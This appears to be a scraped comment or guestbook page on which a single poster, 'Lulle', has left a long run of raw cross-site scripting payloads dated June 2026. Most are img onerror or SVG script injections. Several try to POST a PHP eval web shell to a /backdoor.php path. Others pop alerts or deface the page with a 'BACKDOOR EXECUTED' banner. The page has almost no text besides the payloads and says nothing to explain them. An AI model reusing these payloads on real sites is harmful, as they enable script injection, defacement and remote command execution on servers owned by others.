Lulle

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="document.body.innerHTML+='<script>var x=new XMLHttpRequest();x.open(\"POST\",\"/backdoor.php\");x.send(\"<?php eval($_GET[\\\"c\\\"]);?>\");console.log(\"Backdoor uploaded\")</script>'">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="document.body.innerHTML+='<script>fetch(\"/backdoor.php\",{method:\"POST\",body:\"<?php eval($_GET[\\\"c\\\"]);?>\"}).then(()=>console.log(\"Backdoor uploaded\"))</script>'">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="var x=new XMLHttpRequest();x.open('POST','/backdoor.php');x.send('<?php eval($_GET[\"c\"]);?>');console.log('Backdoor upload attempted')">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="fetch('/backdoor.php',{method:'POST',body:'<?php eval($_GET[\"c\"]);?>'}).then(()=>console.log('Backdoor uploaded'))">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="fetch('/backdoor.php',{method:'POST',body:'<?php eval($_GET[\"c\"]);?>'}).then(()=>console.log('Backdoor uploaded'))">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="fetch('/backdoor.php',{method:'POST',body:'<?php eval($_GET[\"c\"]);?>'}).then(()=>console.log('Backdoor uploaded successfully'))">

• 

  Lulle

• 3 Juni 2026

• 

  Lulle

• 3 Juni 2026

<svg><script>alert('XSS-SVG-ON-REPLICA')</script></svg>

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="eval('alert(\"XSS-WORKING-ON-REPLICA\")')">

• 

  Lulle

• 3 Juni 2026

<svg><desc><![CDATA[</desc><script>alert('XSS-SVG-WORKING')</script>]]></svg>

• 

  Lulle

• 3 Juni 2026

<script>alert('XSS-WORKING-ON-REPLICA')</script>

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="alert('XSS-TEST-REPLICA')">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="console.log('XSS-WORKING');document.body.style.background='red';document.body.innerHTML+='<h1 style=\'color:lime;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:99999;font-size:40px\'>BACKDOOR EXECUTED</h1>'">

• 

  Lulle

• 3 Juni 2026

Kod:

<img src=x onerror="console.log('XSS-WORKING');document.body.style.background='red';document.body.innerHTML+='<h1 style=\'color:lime;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:99999;font-size:40px\'>BACKDOOR EXECUTED</h1>'">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="console.log('XSS-WORKING');document.body.style.background='red';document.body.innerHTML+='<h1 style=\'color:lime;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:99999;font-size:40px\'>BACKDOOR EXECUTED</h1>'">

Kod:

<img src=x onerror="console.log('XSS-WORKING');document.body.style.background='red';document.body.innerHTML+='<h1 style=\'color:lime;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:99999;font-size:40px\'>BACKDOOR EXECUTED</h1>'">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="fetch('/backdoor.php',{method:'POST',body:'<?php eval($_GET[\"c\"]);?>'}).then(()=>console.log('Backdoor uploaded'))">

• 

  Lulle

• 3 Juni 2026

<img src=x onerror="fetch('/backdoor.php',{method:'POST',body:'<?php eval($_GET[\"c\"]);?>'}).then(()=>console.log('Backdoor uploaded'))">

• 

  Lulle

• 3 Juni 2026

• 

  Lulle

• 3 Juni 2026

'}).then(()=>console.log('Shell uploaded'))">

• 

  Lulle

• 3 Juni 2026